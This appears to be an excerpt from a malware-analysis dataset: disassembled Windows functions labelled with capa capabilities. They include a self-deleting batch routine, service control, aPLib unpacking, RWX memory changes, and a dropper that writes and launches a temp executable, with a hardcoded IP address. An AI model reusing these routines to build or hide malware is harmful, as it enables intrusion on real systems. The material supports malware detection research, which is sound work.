joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a0a0
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54ef68
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x5b41b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xf003f
push 0
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x40a0f2
push ecx
mov ecx, esp
push str.OpenSCManager
jmp 0x40a13b
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x40a111
push ecx
mov ecx, esp
push str.OpenService
jmp 0x40a13b
mov esi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [ebp - 0x2c]
push eax
push edi
call esi
cmp dword [ebp - 0x28], 1
jne 0x40a17a
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x40a151
push ecx
mov ecx, esp
push str.StartService
call fcn.00403af0
mov ecx, 1
call fcn.00403e20
add esp, 4
xor esi, esi
jmp 0x40a18d
lea eax, [ebp - 0x2c]
push eax
push edi
call esi
cmp eax, 1
jne 0x40a17a
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x14]
call ebx
cmp dword [ebp - 0x28], 4
je 0x40a188
lea eax, [ebp - 0x2c]
push eax
push edi
call esi
cmp eax, 1
je 0x40a163
push dword [ebp - 0x30]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov esi, 1
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
mov edi, dword [ebp + 8]
add edi, 0xfffffff0
lea eax, [edi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40a1b1
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00532f97
mov esp, ebp
pop ebp
ret
Function at 0x40a380
Capabilities:
Get common file path
Get program files directory
Get startup folder

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
push 0xffffffffffffffff
push 0x54efbc
mov eax, dword fs:[0]
push eax
sub esp, 0x440
mov eax, dword [0x5b41b0]
xor eax, esp
mov dword [esp + 0x438], eax
push esi
mov eax, dword [0x5b41b0]
xor eax, esp
push eax
lea eax, [esp + 0x448]
mov dword fs:[0], eax
xor eax, eax
push 0x3fe
push eax
mov word [esp + 0x44], ax
lea eax, [esp + 0x46]
push eax
call fcn.00535230
add esp, 0xc
lea eax, [esp + 0x3c]
push 0
push 0x2a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x593e44
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xorps xmm0, xmm0
lea ecx, [esp + 0x14]
movdqa xmmword [esp + 0x14], xmm0
movdqa xmmword [esp + 0x24], xmm0
call fcn.00404910
push 1
push ecx
mov dword [esp + 0x458], 0
mov ecx, esp
mov dword [esp + 0x14], esp
push 0x593ed8
call fcn.00403af0
push 1
push ecx
lea eax, [esp + 0x4c]
mov byte [esp + 0x460], 1
mov ecx, esp
push eax
call fcn.00403af0
lea ecx, [esp + 0x24]
mov byte [esp + 0x460], 0
call fcn.00404ad0
push ecx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
call fcn.00406ea0
push 7
push 0x593e44
lea ecx, [esp + 0x18]
mov byte [esp + 0x458], 2
call fcn.004046e0
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x10], esp
push 0x593ed8
call fcn.00403af0
mov byte [esp + 0x458], 3
mov eax, dword [esp + 0x18]
push 1
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
call fcn.004038d0
add esp, 4
lea ecx, [esp + 0x24]
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x460], 2
call fcn.00404ad0
mov byte [esp + 0x450], 0
or ecx, 0xffffffff
mov edx, dword [esp + 0x10]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40a4ee
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [esp + 0x14]
mov dword [esp + 0x450], 0xffffffff
call fcn.00404a00
mov eax, 1
mov ecx, dword [esp + 0x448]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x438]
xor ecx, esp
call fcn.00532f97
mov esp, ebp
pop ebp
ret
Function at 0x40a530
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x5b41b0]
xor eax, ebp
mov dword [ebp - 4], eax
movdqu xmm0, xmmword [str.DeleteBat.bat]
mov eax, dword [0x594808]
mov dword [ebp - 0x18], eax
mov ax, word [0x594844]
movdqu xmmword [ebp - 0x30], xmm0
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x74]
movq xmm0, qword [0x594800]
movq qword [ebp - 0x20], xmm0
movdqu xmm0, xmmword [str.__echo_off_r_ndel___1_r_ndel___0]
push eax
mov dword [ebp - 0x74], 0
movdqu xmmword [ebp - 0x70], xmm0
movdqu xmm0, xmmword [0x59481c]
movdqu xmmword [ebp - 0x60], xmm0
movdqu xmm0, xmmword [0x59482c]
movdqu xmmword [ebp - 0x50], xmm0
movq xmm0, qword [0x59483c]
movq qword [ebp - 0x40], xmm0
call fcn.005342a0
push 0x594848
lea eax, [ebp - 0x30]
mov dword [ebp - 0x78], 0
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.005344b4
mov eax, dword [ebp - 0x78]
add esp, 0x10
test eax, eax
je 0x40a5fe
lea ecx, [ebp - 0x70]
push ecx
push eax
call fcn.005345c3
push dword [ebp - 0x78]
call fcn.005346c3
add esp, 0xc
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push dword [ebp - 0x74]
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
push 0
push dword [ebp - 0x74]
push str.DeleteBat.bat
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x419d69
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.00426ac2
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x419da0
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.00419dc1
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x421787
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x4217cc
call fcn.00426ac2
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4217cc
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x4217e8
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00426c5b
mov ebx, eax
test edi, edi
je 0x4217e6
test esi, esi
je 0x4217e6
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x426de3
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.00425f1a
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x426e1f
call fcn.00427002
mov dword [esi + 0xc], 1
jmp 0x426e24
call fcn.00427002
cmp dword [esi], 0
je 0x426e6d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x426e47
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.00419227
jmp 0x426e58
push 0xff
mov ecx, esi
call fcn.004022d0
push pe_nt_image_headers32
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.004075b0
jmp 0x426e91
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x426e91
push dword [esi]
push dword [ebp - 4]
call fcn.0042d52e
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x426f57
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.00427002
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x426f9f
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00419227
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004075b0
jmp 0x426faa
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0042d52e
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4ff609
Capabilities:
Get common file path

Disassembly:
push esi
mov esi, ecx
call fcn.0053031a
call fcn.00426b16
cmp dword [eax + 0x14], 0
jne 0x4ff624
mov ecx, esi
pop esi
jmp fcn.004fea0f
pop esi
ret

Function at 0x50be32
Capabilities:
Get common file path
Get file system object information

Disassembly:
push esi
mov esi, ecx
call fcn.00403940
call fcn.00426b16
cmp dword [eax + 0x14], 0
jne 0x50be4d
mov ecx, esi
pop esi
jmp fcn.0050b71b
pop esi
ret
Function at 0x547761
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5b41b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0053ae3a
mov dword [ebp - 0x14], eax
cmp dword [0x5bfd98], esi
jne 0x547854
push 0x800
push esi
push 0x58dd90
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x5477e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x547934
push esi
push esi
push 0x58dd90
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x547934
push 0x58dda8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x547934
push eax
call ebx
push 0x58ddb4
push edi
mov dword [0x5bfd98], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x58ddc4
push edi
mov dword [0x5bfd9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x5bfda0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5bfda8], eax
test eax, eax
je 0x547851
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5bfda4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x547879
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x54786c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x54788e
push 4
pop eax
jmp 0x547936
cmp dword [ebp - 0x14], esi
je 0x54788e
push dword [0x5bfd98]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x547873
mov eax, dword [0x5bfda4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x5478ec
cmp dword [0x5bfda8], edi
je 0x5478ec
push eax
call ebx
push dword [0x5bfda8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x5478ec
test eax, eax
je 0x5478ec
call ecx
test eax, eax
je 0x5478e1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x5478e1
test byte [ebp - 8], 1
jne 0x5478ec
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x54791c
mov eax, dword [0x5bfd9c]
cmp eax, edi
je 0x547919
push eax
call ebx
test eax, eax
je 0x547919
call eax
mov esi, eax
test esi, esi
je 0x547919
mov eax, dword [0x5bfda0]
cmp eax, edi
je 0x547919
push eax
call ebx
test eax, eax
je 0x547919
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x5bfd98]
call ebx
test eax, eax
je 0x547934
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x547936
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00532f97
mov esp, ebp
pop ebp
ret
Function at 0xd09058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xd091a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xd0907e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd0906a
add dl, dl
jne 0xd09089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd090dc
xor eax, eax
add dl, dl
jne 0xd09096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd0917d
add dl, dl
jne 0xd090a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd090b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd090bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd090c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xd090d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xd09075
mov eax, 1
add dl, dl
jne 0xd090ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd090f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd090e1
sub eax, ebx
mov ebx, 1
jne 0xd09128
mov ecx, 1
add dl, dl
jne 0xd0910e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd09119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd09105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd09075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xd0913f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd0914a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd09136
cmp eax, 0x7d00
jae 0xd0916d
cmp eax, 0x500
jb 0xd09168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd09075
cmp eax, 0x7f
ja 0xd09170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd09075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xd0919e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xd09075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4072ad
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x46bc7c], 0
jne 0x4072eb
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4072c1
mov dword [ecx*4 + 0x46bc78], eax
inc ecx
cmp ecx, 0x100
jl 0x4072bc
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407318
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46bc78]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x4072f9
not eax
pop ebp
ret 0xc

Function at 0x4283e0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x4283f8
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jae 0x42849c
mov edx, dword [ebp - 4]
sub edx, 0x231d
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
movzx edx, word [ecx + eax*2 + 0x463a]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
shr eax, 0xc
cmp eax, 3
jne 0x428497
mov ecx, dword [ebp - 8]
push ecx
call fcn.00428990
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
jne 0x428456
push 0x154b
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x428456
xor eax, eax
jmp 0x42849c
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax - 0x4c3f8]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + edx]
add ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov edx, dword [ebp + 0x10]
mov dword [edx + eax], ecx
mov eax, dword [ebp - 8]
sub eax, 0x4c3f8
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
sub edx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
jmp 0x4283ef
mov esp, ebp
pop ebp
ret
Function at 0x401460
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x254
lea edx, [ebp - 0x218]
mov eax, 0
mov ecx, pe_nt_image_headers32
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 8], 0x100
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sym._mbstowcs
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov ecx, 0
mov eax, 0x1c
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
mov dword [ebp + eax - 0x244], ecx
add eax, 4
cmp eax, edx
jb 0x4014d7
mov dword [ebp - 0x244], 0x190
lea eax, [ebp - 0x218]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x22c], 0x17
mov dword [esp], str.libscr.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401554
mov dword [esp], str.error:_can_not_load_libscr.dll
call sym._puts
call sym._GetLastError_0
mov dword [esp], eax
mov ecx, sym.imp.libstdc_6.dll_std::cout
call sym.std::ostream::operator___unsigned_long_
sub esp, 4
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
jmp 0x401642
mov dword [esp + 4], str._file_to_bytearray_nosearch_SepterEnv__SA_NAAV__vector_mtus_E__ABV__basic_string__WU__char_traits__W_std__V__allocator__W_2__std___Z
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401584
mov dword [esp], str.error:_can_not_find_file_to_bytearray_nosearch
call sym._puts
jmp 0x401642
lea eax, [ebp - 0x244]
mov dword [esp + 4], eax
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
mov eax, dword [ebp - 0x224]
test eax, eax
je 0x401634
mov eax, dword [ebp - 0x220]
mov edx, eax
mov eax, dword [ebp - 0x224]
sub edx, eax
mov eax, edx
test eax, eax
jle 0x401634
mov dword [esp + 4], 0x405147
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x220]
mov edx, eax
mov eax, dword [ebp - 0x224]
sub edx, eax
mov eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x224]
mov edx, dword [ebp - 0x14]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._fwrite
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str._x_bytes_decrypted_to__s__n
call sym._printf
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
mov edi, dword [ebp - 4]
leave
ret
Function at 0x401d90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401ddb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401dd4
test esi, esi
je 0x401dd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401db0
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401fc0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402010
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4020e8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40204e
cmp eax, 4
jne 0x402070
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40205e
cmp edx, 4
je 0x40205e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401fc0
Function at 0x401000
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x424648
push 0x67
push esi
call edi
push 0x64
push 0x424580
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004011a0
mov eax, dword [ebp + 0x10]
mov edx, 0x425158
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x401050
call fcn.004034b0
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
mov dword [0x423060], eax
call edi
call fcn.00401680
test eax, eax
je 0x40108c
call fcn.00403870
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
call fcn.00401230
add esp, 4
test eax, eax
jne 0x4010af
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.0040a6dc
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040f900
mov eax, dword [0x424d98]
add esp, 0xc
test eax, eax
jbe 0x4010f8
cmp word [0x424d9c], 0
jbe 0x4010f8
push eax
mov esi, str.218.54.31.226
call fcn.00403430
mov dx, word [0x424d9c]
add esp, 4
mov word [0x423608], dx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push str.tmp8_X.exe
mov edx, 0x425360
call fcn.00402d40
call fcn.00402240
lea esi, [esp + 0x10]
call fcn.00402d60
push 0x41dc50
mov edx, esi
push 0x104
push edx
call fcn.0040a6eb
add esp, 0x14
push 0x425360
mov eax, esi
push 0x104
push eax
call fcn.0040a6eb
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401188
push 0x1f4
call edi
push 1
push 0
push 0x41ddb0
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call edi
call fcn.004025c0
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]